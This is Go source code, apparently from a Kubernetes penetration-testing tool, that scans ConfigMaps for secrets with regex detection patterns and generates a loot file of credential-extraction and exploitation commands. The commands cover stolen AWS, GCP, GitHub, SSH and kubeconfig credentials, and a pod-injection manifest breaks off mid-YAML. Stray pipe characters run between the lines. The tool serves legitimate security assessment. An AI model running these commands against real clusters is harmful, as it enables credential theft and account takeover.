detectedValue := keyValues[keyName]
|
||||
if detectedValue == "" {
|
||||
if detectedPattern == "Sensitive Keyword" {
|
||||
detectedValue = "Check Config"
|
||||
} else {
|
||||
detectedValue = "-"
|
||||
}
|
||||
}
|
||||
|
||||
keysRows = append(keysRows, []string{
|
||||
finding.Namespace, finding.Name, keyName, "-",
|
||||
fmt.Sprintf("%d bytes", valueSize),
|
||||
detectedPattern, detectedValue,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
for _, keyName := range finding.DataKeys {
|
||||
valueSize := len(cm.Data[keyName])
|
||||
detectedPattern := keyPatterns[keyName]
|
||||
if detectedPattern == "" {
|
||||
detectedPattern = "-"
|
||||
}
|
||||
detectedValue := keyValues[keyName]
|
||||
if detectedValue == "" {
|
||||
if detectedPattern == "Sensitive Keyword" {
|
||||
detectedValue = "Check Config"
|
||||
} else {
|
||||
detectedValue = "-"
|
||||
}
|
||||
}
|
||||
|
||||
for _, podName := range finding.MountedByPods {
|
||||
keysRows = append(keysRows, []string{
|
||||
finding.Namespace, finding.Name, keyName, podName,
|
||||
fmt.Sprintf("%d bytes", valueSize),
|
||||
detectedPattern, detectedValue,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
summaryTable := internal.TableFile{
|
||||
Name: "ConfigMaps",
|
||||
Header: summaryHeaders,
|
||||
Body: summaryRows,
|
||||
}
|
||||
|
||||
keysTable := internal.TableFile{
|
||||
Name: "ConfigMap-Keys",
|
||||
Header: keysHeaders,
|
||||
Body: keysRows,
|
||||
}
|
||||
|
||||
// Generate loot files
|
||||
lootFiles := generateConfigMapLoot(findings, allConfigMaps, outputDirectory)
|
||||
|
||||
err = internal.HandleOutput(
|
||||
"Kubernetes",
|
||||
format,
|
||||
outputDirectory,
|
||||
verbosity,
|
||||
wrap,
|
||||
"ConfigMaps",
|
||||
globals.ClusterName,
|
||||
"results",
|
||||
ConfigMapsOutput{
|
||||
Table: []internal.TableFile{summaryTable, keysTable},
|
||||
Loot: lootFiles,
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error handling output: %v", err), globals.K8S_CONFIGMAPS_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
if len(summaryRows) > 0 {
|
||||
logger.InfoM(fmt.Sprintf("%d configmaps found, %d key entries", len(summaryRows), len(keysRows)), globals.K8S_CONFIGMAPS_MODULE_NAME)
|
||||
} else {
|
||||
logger.InfoM("No configmaps found, skipping output file creation", globals.K8S_CONFIGMAPS_MODULE_NAME)
|
||||
}
|
||||
|
||||
logger.InfoM(fmt.Sprintf("For context and next steps: https://github.com/BishopFox/cloudfox/wiki/Kubernetes-Commands#%s", globals.K8S_CONFIGMAPS_MODULE_NAME), globals.K8S_CONFIGMAPS_MODULE_NAME)
|
||||
}
|
||||
|
||||
// detectAWSCredentials checks for AWS access keys and secret keys
|
||||
func detectAWSCredentials(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
// AWS Access Key ID pattern: AKIA[0-9A-Z]{16}
|
||||
accessKeyPattern := regexp.MustCompile(`AKIA[0-9A-Z]{16}`)
|
||||
// AWS Secret Access Key pattern: 40 characters base64-like
|
||||
secretKeyPattern := regexp.MustCompile(`[A-Za-z0-9/+=]{40}`)
|
||||
|
||||
for key, value := range data {
|
||||
if match := accessKeyPattern.FindString(value); match != "" {
|
||||
findings = append(findings, fmt.Sprintf("AWS Access Key in '%s'", key))
|
||||
creds = append(creds, CredentialFinding{Type: "AWS", Key: key, Value: match, FullValue: match, Description: "AWS Access Key ID"})
|
||||
}
|
||||
lowerKey := strings.ToLower(key)
|
||||
if (strings.Contains(lowerKey, "aws") && strings.Contains(lowerKey, "secret")) ||
|
||||
strings.Contains(lowerKey, "aws_secret_access_key") {
|
||||
if match := secretKeyPattern.FindString(value); match != "" {
|
||||
findings = append(findings, fmt.Sprintf("AWS Secret Key in '%s'", key))
|
||||
creds = append(creds, CredentialFinding{Type: "AWS", Key: key, Value: match, FullValue: match, Description: "AWS Secret Access Key"})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectGCPCredentials checks for GCP service account JSON keys
|
||||
func detectGCPCredentials(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
for key, value := range data {
|
||||
var jsonData map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(value), &jsonData); err == nil {
|
||||
if _, hasPrivateKeyID := jsonData["private_key_id"]; hasPrivateKeyID {
|
||||
if _, hasPrivateKey := jsonData["private_key"]; hasPrivateKey {
|
||||
if clientEmail, hasClientEmail := jsonData["client_email"]; hasClientEmail {
|
||||
findings = append(findings, fmt.Sprintf("GCP Service Account Key in '%s'", key))
|
||||
email, _ := clientEmail.(string)
|
||||
creds = append(creds, CredentialFinding{Type: "GCP", Key: key, Value: email, FullValue: value, Description: "GCP Service Account Key"})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectGitHubTokens checks for GitHub personal access tokens
|
||||
func detectGitHubTokens(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
patterns := []struct {
|
||||
regex *regexp.Regexp
|
||||
desc string
|
||||
}{
|
||||
{regexp.MustCompile(`ghp_[a-zA-Z0-9]{36}`), "GitHub Personal Access Token"},
|
||||
{regexp.MustCompile(`gho_[a-zA-Z0-9]{36}`), "GitHub OAuth Token"},
|
||||
{regexp.MustCompile(`ghs_[a-zA-Z0-9]{36}`), "GitHub Server Token"},
|
||||
{regexp.MustCompile(`github_pat_[a-zA-Z0-9_]{82}`), "GitHub Fine-grained PAT"},
|
||||
{regexp.MustCompile(`ghr_[a-zA-Z0-9]{36}`), "GitHub Refresh Token"},
|
||||
}
|
||||
|
||||
for key, value := range data {
|
||||
for _, pattern := range patterns {
|
||||
if match := pattern.regex.FindString(value); match != "" {
|
||||
findings = append(findings, fmt.Sprintf("%s in '%s'", pattern.desc, key))
|
||||
creds = append(creds, CredentialFinding{Type: "GitHub", Key: key, Value: match, FullValue: match, Description: pattern.desc})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectPrivateKeys checks for PEM-encoded private keys
|
||||
func detectPrivateKeys(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
privateKeyPatterns := []string{
|
||||
"-----BEGIN RSA PRIVATE KEY-----",
|
||||
"-----BEGIN EC PRIVATE KEY-----",
|
||||
"-----BEGIN PRIVATE KEY-----",
|
||||
"-----BEGIN OPENSSH PRIVATE KEY-----",
|
||||
"-----BEGIN DSA PRIVATE KEY-----",
|
||||
"-----BEGIN ENCRYPTED PRIVATE KEY-----",
|
||||
}
|
||||
|
||||
for key, value := range data {
|
||||
for _, pattern := range privateKeyPatterns {
|
||||
if strings.Contains(value, pattern) {
|
||||
findings = append(findings, fmt.Sprintf("Private Key in '%s'", key))
|
||||
creds = append(creds, CredentialFinding{Type: "PrivateKey", Key: key, Value: pattern, FullValue: value, Description: pattern})
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectConnectionStrings checks for database and service URLs with credentials
|
||||
func detectConnectionStrings(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
patterns := []struct {
|
||||
regex *regexp.Regexp
|
||||
desc string
|
||||
}{
|
||||
{regexp.MustCompile(`postgres://[^:]+:[^@]+@[^\s]+`), "PostgreSQL"},
|
||||
{regexp.MustCompile(`mysql://[^:]+:[^@]+@[^\s]+`), "MySQL"},
|
||||
{regexp.MustCompile(`mongodb://[^:]+:[^@]+@[^\s]+`), "MongoDB"},
|
||||
{regexp.MustCompile(`redis://[^:]+:[^@]+@[^\s]+`), "Redis"},
|
||||
{regexp.MustCompile(`amqp://[^:]+:[^@]+@[^\s]+`), "AMQP/RabbitMQ"},
|
||||
{regexp.MustCompile(`Server=[^;]+;.*Password=[^;]+`), "SQL Server"},
|
||||
}
|
||||
|
||||
for key, value := range data {
|
||||
for _, pattern := range patterns {
|
||||
if match := pattern.regex.FindString(value); match != "" {
|
||||
findings = append(findings, fmt.Sprintf("%s Connection String in '%s'", pattern.desc, key))
|
||||
creds = append(creds, CredentialFinding{Type: "ConnString", Key: key, Value: match, FullValue: match, Description: pattern.desc + " Connection String"})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectBase64Secrets attempts to decode base64 values and analyze content
|
||||
func detectBase64Secrets(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
base64Pattern := regexp.MustCompile(`^[A-Za-z0-9+/]{20,}={0,2}$`)
|
||||
|
||||
for key, value := range data {
|
||||
if strings.Contains(value, "-----BEGIN") {
|
||||
continue
|
||||
}
|
||||
|
||||
if base64Pattern.MatchString(value) && len(value) > 20 {
|
||||
decoded, err := base64.StdEncoding.DecodeString(value)
|
||||
if err == nil {
|
||||
decodedStr := string(decoded)
|
||||
lowerDecoded := strings.ToLower(decodedStr)
|
||||
if strings.Contains(lowerDecoded, "password") ||
|
||||
strings.Contains(lowerDecoded, "secret") ||
|
||||
strings.Contains(lowerDecoded, "token") ||
|
||||
strings.Contains(lowerDecoded, "api") ||
|
||||
strings.Contains(decodedStr, "-----BEGIN") {
|
||||
findings = append(findings, fmt.Sprintf("Base64-encoded Secret in '%s'", key))
|
||||
creds = append(creds, CredentialFinding{Type: "Base64", Key: key, Value: decodedStr, FullValue: decodedStr, Description: "Base64-encoded Secret"})
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectDockerCredentials checks for Docker registry credentials
|
||||
func detectDockerCredentials(data map[string]string) ([]string, []CredentialFinding) {
|
||||
var findings []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
for key, value := range data {
|
||||
if strings.Contains(key, "docker") && strings.Contains(key, "config") {
|
||||
var dockerConfig map[string]interface{}
|
||||
if err := json.Unmarshal([]byte(value), &dockerConfig); err == nil {
|
||||
if auths, ok := dockerConfig["auths"].(map[string]interface{}); ok && len(auths) > 0 {
|
||||
var registries []string
|
||||
for reg := range auths {
|
||||
registries = append(registries, reg)
|
||||
}
|
||||
findings = append(findings, fmt.Sprintf("Docker Registry Credentials in '%s'", key))
|
||||
creds = append(creds, CredentialFinding{Type: "Docker", Key: key, Value: strings.Join(registries, ","), FullValue: value, Description: "Docker Registry Credentials"})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
lowerKey := strings.ToLower(key)
|
||||
if strings.Contains(lowerKey, "docker") && (strings.Contains(lowerKey, "auth") || strings.Contains(lowerKey, "password")) {
|
||||
findings = append(findings, fmt.Sprintf("Docker Credentials in '%s'", key))
|
||||
creds = append(creds, CredentialFinding{Type: "Docker", Key: key, Value: value, FullValue: value, Description: "Docker Credentials"})
|
||||
}
|
||||
}
|
||||
|
||||
return findings, creds
|
||||
}
|
||||
|
||||
// detectKubeconfig checks if data contains kubeconfig content
|
||||
func detectKubeconfig(data map[string]string) bool {
|
||||
for _, value := range data {
|
||||
if strings.Contains(value, "apiVersion:") &&
|
||||
strings.Contains(value, "kind: Config") &&
|
||||
(strings.Contains(value, "clusters:") || strings.Contains(value, "users:")) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// detectSensitiveKeywords checks for sensitive keywords in key names only (not values).
|
||||
// alreadyDetected contains keys already flagged by specific detectors to avoid duplicates.
|
||||
func detectSensitiveKeywords(data map[string]string, alreadyDetected map[string]bool) ([]string, []CredentialFinding) {
|
||||
suspects := []string{"password", "passwd", "secret_key", "secret-key", "secretkey", "token", "credentials", "api_key", "api-key", "apikey", "private_key", "private-key", "access_key", "access-key"}
|
||||
var hits []string
|
||||
var creds []CredentialFinding
|
||||
|
||||
for k, v := range data {
|
||||
if alreadyDetected[k] {
|
||||
continue
|
||||
}
|
||||
lk := strings.ToLower(k)
|
||||
for _, s := range suspects {
|
||||
if strings.Contains(lk, s) {
|
||||
hits = append(hits, k)
|
||||
creds = append(creds, CredentialFinding{Type: "SensitiveKeyword", Key: k, Value: v, FullValue: v, Description: fmt.Sprintf("keyword: %s", s)})
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return hits, creds
|
||||
}
|
||||
|
||||
// analyzeConfigMapSecurity performs comprehensive security analysis
|
||||
func analyzeConfigMapSecurity(cm *corev1.ConfigMap) ConfigMapFinding {
|
||||
finding := ConfigMapFinding{
|
||||
Namespace: cm.Namespace,
|
||||
Name: cm.Name,
|
||||
CreationTimestamp: cm.CreationTimestamp.String(),
|
||||
DataKeys: []string{},
|
||||
Annotations: cm.Annotations,
|
||||
}
|
||||
|
||||
// Check immutability
|
||||
if cm.Immutable != nil && *cm.Immutable {
|
||||
finding.IsImmutable = true
|
||||
}
|
||||
|
||||
// Collect data keys
|
||||
for key := range cm.Data {
|
||||
finding.DataKeys = append(finding.DataKeys, key)
|
||||
}
|
||||
sort.Strings(finding.DataKeys)
|
||||
|
||||
// Calculate data size
|
||||
for _, value := range cm.Data {
|
||||
finding.DataSize += len(value)
|
||||
}
|
||||
|
||||
// Detect various credential types
|
||||
var credFindings []CredentialFinding
|
||||
var creds []CredentialFinding
|
||||
finding.AWSCredentials, creds = detectAWSCredentials(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.GCPCredentials, creds = detectGCPCredentials(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.GitHubTokens, creds = detectGitHubTokens(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.PrivateKeys, creds = detectPrivateKeys(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.ConnectionStrings, creds = detectConnectionStrings(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.Base64Secrets, creds = detectBase64Secrets(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.DockerCredentials, creds = detectDockerCredentials(cm.Data)
|
||||
credFindings = append(credFindings, creds...)
|
||||
finding.KubeconfigFound = detectKubeconfig(cm.Data)
|
||||
if finding.KubeconfigFound {
|
||||
for key, value := range cm.Data {
|
||||
if strings.Contains(value, "apiVersion:") && strings.Contains(value, "kind: Config") {
|
||||
credFindings = append(credFindings, CredentialFinding{Type: "Kubeconfig", Key: key, Value: value, FullValue: value, Description: "Kubeconfig"})
|
||||
}
|
||||
}
|
||||
}
|
||||
// Sensitive keywords don't produce credential findings (no detected value shown)
|
||||
alreadyDetected := make(map[string]bool)
|
||||
for _, cf := range credFindings {
|
||||
alreadyDetected[cf.Key] = true
|
||||
}
|
||||
finding.SensitiveKeys, _ = detectSensitiveKeywords(cm.Data, alreadyDetected)
|
||||
finding.CredentialFindings = credFindings
|
||||
|
||||
// Aggregate dangerous patterns
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.AWSCredentials...)
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.GCPCredentials...)
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.GitHubTokens...)
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.PrivateKeys...)
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.ConnectionStrings...)
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.Base64Secrets...)
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, finding.DockerCredentials...)
|
||||
if finding.KubeconfigFound {
|
||||
finding.DangerousPatterns = append(finding.DangerousPatterns, "Kubeconfig found")
|
||||
}
|
||||
|
||||
return finding
|
||||
}
|
||||
|
||||
// buildKeyPatternMap creates a map of key names to their detected sensitive patterns
|
||||
func buildKeyPatternMap(cm *corev1.ConfigMap, finding ConfigMapFinding) map[string]string {
|
||||
keyPatterns := make(map[string]string)
|
||||
|
||||
// Parse the pattern strings to extract key names and build the map
|
||||
// Pattern format is like "AWS Access Key in 'keyname'" or "Private Key in 'keyname'"
|
||||
parsePatterns := func(patterns []string, patternType string) {
|
||||
for _, pattern := range patterns {
|
||||
// Extract key name from pattern like "Something in 'keyname'"
|
||||
if idx := strings.Index(pattern, " in '"); idx != -1 {
|
||||
keyStart := idx + 5
|
||||
keyEnd := strings.LastIndex(pattern, "'")
|
||||
if keyEnd > keyStart {
|
||||
keyName := pattern[keyStart:keyEnd]
|
||||
if existing, ok := keyPatterns[keyName]; ok {
|
||||
keyPatterns[keyName] = existing + ", " + patternType
|
||||
} else {
|
||||
keyPatterns[keyName] = patternType
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
parsePatterns(finding.AWSCredentials, "AWS Credential")
|
||||
parsePatterns(finding.GCPCredentials, "GCP Credential")
|
||||
parsePatterns(finding.GitHubTokens, "GitHub Token")
|
||||
parsePatterns(finding.PrivateKeys, "Private Key")
|
||||
parsePatterns(finding.ConnectionStrings, "Connection String")
|
||||
parsePatterns(finding.Base64Secrets, "Base64 Secret")
|
||||
parsePatterns(finding.DockerCredentials, "Docker Credential")
|
||||
|
||||
// Check for kubeconfig in all keys
|
||||
if finding.KubeconfigFound {
|
||||
for key, value := range cm.Data {
|
||||
if strings.Contains(value, "apiVersion:") &&
|
||||
strings.Contains(value, "kind: Config") {
|
||||
if existing, ok := keyPatterns[key]; ok {
|
||||
keyPatterns[key] = existing + ", Kubeconfig"
|
||||
} else {
|
||||
keyPatterns[key] = "Kubeconfig"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add sensitive keywords detection
|
||||
for _, keyName := range finding.SensitiveKeys {
|
||||
if _, ok := keyPatterns[keyName]; !ok {
|
||||
keyPatterns[keyName] = "Sensitive Keyword"
|
||||
}
|
||||
}
|
||||
|
||||
return keyPatterns
|
||||
}
|
||||
|
||||
// findPodsMountingConfigMapCached finds all pods that mount a specific ConfigMap using pre-fetched pods
|
||||
func findPodsMountingConfigMapCached(allPods []corev1.Pod, namespace, configMapName string) []string {
|
||||
var mountingPods []string
|
||||
|
||||
for _, pod := range allPods {
|
||||
// Only check pods in the same namespace
|
||||
if pod.Namespace != namespace {
|
||||
continue
|
||||
}
|
||||
for _, volume := range pod.Spec.Volumes {
|
||||
if volume.ConfigMap != nil && volume.ConfigMap.Name == configMapName {
|
||||
mountingPods = append(mountingPods, pod.Name)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return mountingPods
|
||||
}
|
||||
|
||||
// hasSensitiveData returns true if the configmap contains credentials or sensitive patterns
|
||||
func hasSensitiveData(finding ConfigMapFinding) bool {
|
||||
return len(finding.AWSCredentials) > 0 ||
|
||||
len(finding.GCPCredentials) > 0 ||
|
||||
len(finding.GitHubTokens) > 0 ||
|
||||
len(finding.PrivateKeys) > 0 ||
|
||||
len(finding.ConnectionStrings) > 0 ||
|
||||
len(finding.DockerCredentials) > 0 ||
|
||||
len(finding.Base64Secrets) > 0 ||
|
||||
finding.KubeconfigFound
|
||||
}
|
||||
|
||||
// generateConfigMapLoot creates a single consolidated commands loot file
|
||||
func generateConfigMapLoot(findings []ConfigMapFinding, allConfigMaps []corev1.ConfigMap, outputDirectory string) []internal.LootFile {
|
||||
loot := shared.NewLootBuilder()
|
||||
|
||||
// Filter findings by sensitivity
|
||||
var sensitiveFindings []ConfigMapFinding
|
||||
|
||||
for _, f := range findings {
|
||||
if hasSensitiveData(f) {
|
||||
sensitiveFindings = append(sensitiveFindings, f)
|
||||
}
|
||||
}
|
||||
|
||||
// Single consolidated commands file
|
||||
cmds := loot.Section("ConfigMap-Commands")
|
||||
cmds.Add("═══════════════════════════════════════════════════════════════")
|
||||
cmds.Add(" CONFIGMAP ENUMERATION AND EXPLOITATION COMMANDS")
|
||||
cmds.Add("═══════════════════════════════════════════════════════════════")
|
||||
cmds.Add("")
|
||||
|
||||
// Section 1: Enumeration
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 1. ENUMERATION")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Check permissions")
|
||||
cmds.Add("kubectl auth can-i get configmaps --all-namespaces")
|
||||
cmds.Add("kubectl auth can-i list configmaps --all-namespaces")
|
||||
cmds.Add("kubectl auth can-i update configmaps --all-namespaces")
|
||||
cmds.Add("")
|
||||
cmds.Add("# List all ConfigMaps")
|
||||
cmds.Add("kubectl get configmaps -A")
|
||||
cmds.Add("kubectl get configmaps -A -o wide")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Get ConfigMap details")
|
||||
cmds.Add("kubectl get configmap <name> -n <namespace> -o yaml")
|
||||
cmds.Add("kubectl describe configmap <name> -n <namespace>")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Extract all ConfigMap data as JSON")
|
||||
cmds.Add("kubectl get configmaps -A -o json | jq -r '.items[] | \"\\(.metadata.namespace)/\\(.metadata.name): \\(.data | keys)\"'")
|
||||
cmds.Add("")
|
||||
cmds.Add("# Find ConfigMaps with specific keys")
|
||||
cmds.Add("kubectl get configmaps -A -o json | jq -r '.items[] | select(.data | keys | any(test(\"password|secret|key|token\"; \"i\"))) | \"\\(.metadata.namespace)/\\(.metadata.name)\"'")
|
||||
cmds.Add("")
|
||||
|
||||
// Section 2: Sensitive ConfigMap Extraction
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 2. EXTRACTION - Sensitive ConfigMaps")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
|
||||
if len(sensitiveFindings) > 0 {
|
||||
cmds.Add("# Bulk extraction script")
|
||||
cmds.Add("mkdir -p configmap-dump && cd configmap-dump")
|
||||
cmds.Add("")
|
||||
|
||||
for _, f := range sensitiveFindings {
|
||||
cmds.Addf("# %s/%s - %s", f.Namespace, f.Name, strings.Join(f.DangerousPatterns, ", "))
|
||||
cmds.Addf("kubectl get configmap -n %s %s -o yaml > %s-%s.yaml", f.Namespace, f.Name, f.Namespace, f.Name)
|
||||
cmds.Add("")
|
||||
}
|
||||
} else {
|
||||
cmds.Add("# No ConfigMaps with detected credentials found")
|
||||
cmds.Add("# Use generic extraction:")
|
||||
cmds.Add("kubectl get configmap <name> -n <namespace> -o yaml > configmap.yaml")
|
||||
cmds.Add("")
|
||||
}
|
||||
|
||||
// Section 3: Decode Base64 secrets
|
||||
hasBase64 := false
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.Base64Secrets) > 0 {
|
||||
hasBase64 = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if hasBase64 {
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 3. DECODE BASE64 SECRETS")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.Base64Secrets) > 0 {
|
||||
cmds.Addf("# %s/%s", f.Namespace, f.Name)
|
||||
for _, key := range f.DataKeys {
|
||||
cmds.Addf("kubectl get configmap -n %s %s -o jsonpath='{.data.%s}' | base64 -d",
|
||||
f.Namespace, f.Name, key)
|
||||
}
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Section 4: Credential-specific exploitation
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 4. CREDENTIAL EXPLOITATION")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
|
||||
hasAWS := false
|
||||
hasGCP := false
|
||||
hasGitHub := false
|
||||
hasDB := false
|
||||
hasPrivateKey := false
|
||||
hasKubeconfig := false
|
||||
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.AWSCredentials) > 0 {
|
||||
hasAWS = true
|
||||
}
|
||||
if len(f.GCPCredentials) > 0 {
|
||||
hasGCP = true
|
||||
}
|
||||
if len(f.GitHubTokens) > 0 {
|
||||
hasGitHub = true
|
||||
}
|
||||
if len(f.ConnectionStrings) > 0 {
|
||||
hasDB = true
|
||||
}
|
||||
if len(f.PrivateKeys) > 0 {
|
||||
hasPrivateKey = true
|
||||
}
|
||||
if f.KubeconfigFound {
|
||||
hasKubeconfig = true
|
||||
}
|
||||
}
|
||||
|
||||
if hasAWS {
|
||||
cmds.Add("### AWS Credentials ###")
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.AWSCredentials) > 0 {
|
||||
cmds.Addf("# Extract from %s/%s", f.Namespace, f.Name)
|
||||
cmds.Addf("AWS_ACCESS_KEY_ID=$(kubectl get configmap -n %s %s -o jsonpath='{.data.AWS_ACCESS_KEY_ID}')", f.Namespace, f.Name)
|
||||
cmds.Addf("AWS_SECRET_ACCESS_KEY=$(kubectl get configmap -n %s %s -o jsonpath='{.data.AWS_SECRET_ACCESS_KEY}')", f.Namespace, f.Name)
|
||||
cmds.Add("export AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY")
|
||||
cmds.Add("aws sts get-caller-identity")
|
||||
cmds.Add("aws s3 ls")
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if hasGCP {
|
||||
cmds.Add("### GCP Service Account Keys ###")
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.GCPCredentials) > 0 {
|
||||
cmds.Addf("# Extract from %s/%s", f.Namespace, f.Name)
|
||||
cmds.Addf("kubectl get configmap -n %s %s -o jsonpath='{.data.GOOGLE_APPLICATION_CREDENTIALS}' > gcp-key.json", f.Namespace, f.Name)
|
||||
cmds.Add("gcloud auth activate-service-account --key-file=gcp-key.json")
|
||||
cmds.Add("gcloud projects list")
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if hasGitHub {
|
||||
cmds.Add("### GitHub Tokens ###")
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.GitHubTokens) > 0 {
|
||||
cmds.Addf("# Extract from %s/%s", f.Namespace, f.Name)
|
||||
cmds.Addf("GH_TOKEN=$(kubectl get configmap -n %s %s -o jsonpath='{.data.GITHUB_TOKEN}')", f.Namespace, f.Name)
|
||||
cmds.Add("curl -H \"Authorization: token $GH_TOKEN\" https://api.github.com/user")
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if hasDB {
|
||||
cmds.Add("### Database Connection Strings ###")
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.ConnectionStrings) > 0 {
|
||||
cmds.Addf("# Extract from %s/%s", f.Namespace, f.Name)
|
||||
cmds.Addf("DB_URL=$(kubectl get configmap -n %s %s -o jsonpath='{.data.DATABASE_URL}')", f.Namespace, f.Name)
|
||||
cmds.Add("psql \"$DB_URL\" # or mysql, mongo, etc.")
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if hasPrivateKey {
|
||||
cmds.Add("### Private Keys ###")
|
||||
for _, f := range sensitiveFindings {
|
||||
if len(f.PrivateKeys) > 0 {
|
||||
cmds.Addf("# Extract from %s/%s", f.Namespace, f.Name)
|
||||
for _, key := range f.DataKeys {
|
||||
cmds.Addf("kubectl get configmap -n %s %s -o jsonpath='{.data.%s}' > extracted-key.pem", f.Namespace, f.Name, key)
|
||||
}
|
||||
cmds.Add("chmod 600 extracted-key.pem")
|
||||
cmds.Add("ssh -i extracted-key.pem user@host")
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if hasKubeconfig {
|
||||
cmds.Add("### Kubeconfig Files ###")
|
||||
for _, f := range sensitiveFindings {
|
||||
if f.KubeconfigFound {
|
||||
cmds.Addf("# Extract from %s/%s", f.Namespace, f.Name)
|
||||
for _, key := range f.DataKeys {
|
||||
cmds.Addf("kubectl get configmap -n %s %s -o jsonpath='{.data.%s}' > extracted-kubeconfig", f.Namespace, f.Name, key)
|
||||
}
|
||||
cmds.Add("export KUBECONFIG=./extracted-kubeconfig")
|
||||
cmds.Add("kubectl get pods -A")
|
||||
cmds.Add("")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if !hasAWS && !hasGCP && !hasGitHub && !hasDB && !hasPrivateKey && !hasKubeconfig {
|
||||
cmds.Add("# No specific credentials found in ConfigMaps")
|
||||
cmds.Add("# Review ConfigMaps manually for sensitive data")
|
||||
cmds.Add("")
|
||||
}
|
||||
|
||||
// Section 5: Pod injection technique
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("## 5. POD INJECTION - Mount ConfigMaps")
|
||||
cmds.Add("##############################################")
|
||||
cmds.Add("")
|
||||
cmds.Add("# If you can create pods, mount sensitive ConfigMaps:")
|
||||
cmds.Add("cat <<EOF | kubectl apply -f -")
|
||||
cmds.Add("apiVersion: v1")
|
||||
cmds.Add("kind: Pod")
|
||||
cmds.Add("metadata:")
|
||||
cmds.Add(" name: configmap-reader")
|
||||
cmds.Add(" namespace: <TARGET_NAMESPACE>")
|
||||
cmds.Add("spec:")
|
||||
cmds.Add(" containers:")
|
||||
cmds.Add(" - name: reader")
|
||||
cmds.Add(" image: alpine")
|
||||
cmds.Add(" command: [\"sleep\", \"3600\"]")
|
||||
cmds.Add(" volumeMounts:")
|
||||
cmds.Add(" - name: config")
|
||||
cmds.Add(" mountPath: /config")
|
||||
cmds.Add(" volumes:")
|
||||
cmds.Add(" - name: config")
|
||||
cmds.Add(" configMap:")
|
||||
